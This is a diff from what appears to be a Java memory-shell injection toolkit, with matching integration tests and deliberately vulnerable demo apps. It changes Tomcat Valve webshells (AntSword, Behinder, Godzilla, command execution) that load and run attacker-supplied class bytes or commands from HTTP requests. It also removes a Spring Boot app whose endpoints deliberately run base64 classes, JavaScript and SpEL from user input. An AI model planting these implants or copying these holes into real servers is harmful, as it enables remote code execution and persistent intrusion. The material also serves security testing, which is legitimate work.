             .withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(webspherePid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
             .withExposedPorts(9080)
             .withPrivilegedMode(true);
@@ -69,7 +60,7 @@ public class WebSphere700ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 
     public static String getUrl(GenericContainer<?> container) {

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Wildfly18ContainerTest {
     public static final String imageName = "jboss/wildfly:18.0.1.Final";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -65,6 +57,6 @@ public class Wildfly18ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Wildfly23ContainerTest {
     public static final String imageName = "jboss/wildfly:23.0.2.Final";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -65,6 +57,6 @@ public class Wildfly23ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Wildfly30ContainerTest {
     public static final String imageName = "quay.io/wildfly/wildfly:30.0.1.Final-jdk17";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -67,6 +59,6 @@ public class Wildfly30ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
@@ -38,18 +36,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Wildfly9ContainerTest {
     public static final String imageName = "jboss/wildfly:10.0.0.Final";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -73,6 +65,6 @@ public class Wildfly9ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java

@@ -77,10 +77,12 @@ public class AntSwordValve extends ClassLoader implements Valve {
                 byte[] bytes = base64Decode(request.getParameter(pass));
                 Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
                 instance.equals(new Object[]{request, response});
-                return;
+            } else {
+                this.getNext().invoke(request, response);
             }
-        } catch (Exception ignored) {
+        } catch (Exception e) {
+            e.printStackTrace();
+            this.getNext().invoke(request, response);
         }
-        this.getNext().invoke(request, response);
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java

@@ -92,11 +92,13 @@ public class BehinderValve extends ClassLoader implements Valve {
                 byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
                 Object instance = (new BehinderValve(this.getClass().getClassLoader())).g(bytes).newInstance();
                 instance.equals(obj);
-                return;
+            } else {
+                this.getNext().invoke(request, response);
             }
-        } catch (Exception ignored) {
+        } catch (Exception e) {
+            e.printStackTrace();
+            this.getNext().invoke(request, response);
         }
-        this.getNext().invoke(request, response);
     }
 
     public HttpServletResponse getInternalResponse(HttpServletResponse response) {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java

@@ -52,10 +52,11 @@ public class CommandValve implements Valve {
                 while ((length = inputStream.read(buf)) != -1) {
                     outputStream.write(buf, 0, length);
                 }
-                return;
+            } else {
+                this.getNext().invoke(request, response);
             }
-        } catch (Exception ignored) {
+        } catch (Exception e) {
+            this.getNext().invoke(request, response);
         }
-        this.getNext().invoke(request, response);
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java

@@ -125,10 +125,12 @@ public class GodzillaValve extends ClassLoader implements Valve {
                     response.getWriter().write(md5.substring(16));
                     response.flushBuffer();
                 }
-                return;
+            } else {
+                this.getNext().invoke(request, response);
             }
-        } catch (Exception ignored) {
+        } catch (Exception e) {
+            e.printStackTrace();
+            this.getNext().invoke(request, response);
         }
-        this.getNext().invoke(request, response);
     }
 }

settings.gradle

@@ -26,8 +26,7 @@ include 'vul:vul-webapp'
 include 'vul:vul-webapp-jakarta'
 include 'vul:vul-webapp-expression'
 include 'vul:vul-webapp-deserialize'
-include 'vul:vul-springboot1'
 include 'vul:vul-springboot2'
 include 'vul:vul-springboot3'
 include 'vul:vul-springboot2-webflux'
-include 'vul:vul-springboot3-webflux'
+include 'vul:vul-springboot3-webflux'

vul/build.gradle

@@ -2,9 +2,4 @@ idea {
     module {
         excludeDirs += file('src')
     }
-}
-
-subprojects {
-    group = 'com.reajason.javaweb.vul'
-    version = ''
 }

vul/vul-springboot1/Dockerfile

@@ -1,8 +0,0 @@
-FROM openjdk:8
-WORKDIR /app
-
-COPY build/libs/vul-springboot1.jar /app/app.jar
-
-EXPOSE 8080
-
-ENTRYPOINT java $JAVA_OPTS -jar app.jar

vul/vul-springboot1/build.gradle

@@ -1,37 +0,0 @@
-plugins {
-    id 'java'
-    id 'war'
-}
-
-java {
-    targetCompatibility = JavaVersion.VERSION_1_8
-    sourceCompatibility = JavaVersion.VERSION_1_8
-}
-
-repositories {
-    mavenCentral()
-}
-
-configurations {
-    providedRuntime
-}
-
-dependencies {
-    implementation 'org.springframework.boot:spring-boot-starter-web:1.5.22.RELEASE'
-    providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat:1.5.22.RELEASE'
-    testImplementation 'org.springframework.boot:spring-boot-starter-test:1.5.22.RELEASE'
-}
-
-tasks.register('bootJar', Jar) {
-    archiveBaseName = project.name
-    archiveVersion = project.version
-
-    from sourceSets.main.output
-    from {
-        configurations.runtimeClasspath.collect { it.isDirectory() ? it : zipTree(it) }
-    }
-    manifest {
-        attributes 'Main-Class': 'com.reajason.javaweb.vul.springboot1.VulSpringboot1Application'
-    }
-    duplicatesStrategy = DuplicatesStrategy.EXCLUDE
-}

vul/vul-springboot1/src/main/java/com/reajason/javaweb/vul/springboot1/ServletInitializer.java

@@ -1,15 +0,0 @@
-package com.reajason.javaweb.vul.springboot1;
-
-import org.springframework.boot.builder.SpringApplicationBuilder;
-import org.springframework.boot.web.support.SpringBootServletInitializer;
-
-/**
- * @author ReaJason
- */
-public class ServletInitializer extends SpringBootServletInitializer {
-
-    @Override
-    protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
-        return application.sources(VulSpringboot1Application.class);
-    }
-}

vul/vul-springboot1/src/main/java/com/reajason/javaweb/vul/springboot1/VulSpringboot1Application.java

@@ -1,15 +0,0 @@
-package com.reajason.javaweb.vul.springboot1;
-
-import org.springframework.boot.SpringApplication;
-import org.springframework.boot.autoconfigure.SpringBootApplication;
-
-/**
- * @author ReaJason
- * @since 2025/2/26
- */
-@SpringBootApplication
-public class VulSpringboot1Application {
-    public static void main(String[] args) {
-        SpringApplication.run(VulSpringboot1Application.class, args);
-    }
-}

vul/vul-springboot1/src/main/java/com/reajason/javaweb/vul/springboot1/controller/Base64ClassLoaderController.java

@@ -1,22 +0,0 @@
-package com.reajason.javaweb.vul.springboot1.controller;
-
-import org.springframework.web.bind.annotation.PostMapping;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RestController;
-
-import java.util.Base64;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-@RestController
-@RequestMapping("/b64")
-public class Base64ClassLoaderController extends ClassLoader {
-    @PostMapping
-    public String base64ClassLoader(String data) throws Exception {
-        byte[] bytes = Base64.getDecoder().decode(data);
-        Object o = defineClass(null, bytes, 0, bytes.length).newInstance();
-        return o.toString();
-    }
-}

vul/vul-springboot1/src/main/java/com/reajason/javaweb/vul/springboot1/controller/IndexController.java

@@ -1,23 +0,0 @@
-package com.reajason.javaweb.vul.springboot1.controller;
-
-import org.springframework.web.bind.annotation.GetMapping;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RestController;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-@RestController
-public class IndexController {
-
-    @RequestMapping("/test")
-    public String test() {
-        return "";
-    }
-
-    @GetMapping("/")
-    public String index() {
-        return "hello";
-    }
-}

vul/vul-springboot1/src/main/java/com/reajason/javaweb/vul/springboot1/controller/ScriptEngineController.java

@@ -1,23 +0,0 @@
-package com.reajason.javaweb.vul.springboot1.controller;
-
-import org.springframework.http.ResponseEntity;
-import org.springframework.web.bind.annotation.PostMapping;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RestController;
-
-import javax.script.ScriptEngineManager;
-import javax.script.ScriptException;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-@RestController
-@RequestMapping("/js")
-public class ScriptEngineController {
-
-    @PostMapping
-    public ResponseEntity<?> js(String data) throws ScriptException {
-        return ResponseEntity.ok().body(String.valueOf(new ScriptEngineManager().getEngineByName("js").eval(data)));
-    }
-}

vul/vul-springboot1/src/main/java/com/reajason/javaweb/vul/springboot1/controller/SpELController.java

@@ -1,22 +0,0 @@
-package com.reajason.javaweb.vul.springboot1.controller;
-
-import org.springframework.expression.spel.standard.SpelExpressionParser;
-import org.springframework.expression.spel.support.StandardEvaluationContext;
-import org.springframework.http.ResponseEntity;
-import org.springframework.web.bind.annotation.PostMapping;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RestController;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-@RestController
-@RequestMapping("/spel")
-public class SpELController {
-
-    @PostMapping
-    public ResponseEntity<?> spel(String data) {
-        return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
-    }
-}

vul/vul-springboot1/src/main/resources/application.properties

@@ -1,3 +0,0 @@
-server.port=8080
-logging.level.root=INFO
-logging.level.org.springframework=INFO

vul/vul-springboot2-webflux/build.gradle

@@ -4,6 +4,9 @@ plugins {
     id 'java'
 }
 
+group = 'com.reajason.javaweb.vul'
+version = ''
+
 java {
     sourceCompatibility = JavaVersion.VERSION_1_8
     targetCompatibility = JavaVersion.VERSION_1_8

vul/vul-springboot2/build.gradle

@@ -5,6 +5,9 @@ plugins {
     id 'war'
 }
 
+group = 'com.reajason.javaweb.vul'
+version = ''
+
 java {
     sourceCompatibility = JavaVersion.VERSION_1_8
 }

vul/vul-springboot3-webflux/build.gradle

@@ -4,6 +4,9 @@ plugins {
     id 'io.spring.dependency-management' version '1.1.7'
 }
 
+group = 'com.reajason.javaweb.vul'
+version = ''
+
 java {
     toolchain {
         languageVersion = JavaLanguageVersion.of(17)

vul/vul-springboot3/build.gradle

@@ -5,6 +5,9 @@ plugins {
     id 'io.spring.dependency-management' version '1.1.7'
 }
 
+group = 'com.reajason.javaweb.vul'
+version = ''
+
 java {
     toolchain {
         languageVersion = JavaLanguageVersion.of(17)

vul/vul-webapp-deserialize/build.gradle

@@ -2,6 +2,9 @@ plugins {
     id 'war'
 }
 
+group = 'com.reajason.javaweb.vul'
+version = ''
+
 java {
     toolchain {
         languageVersion = JavaLanguageVersion.of(8)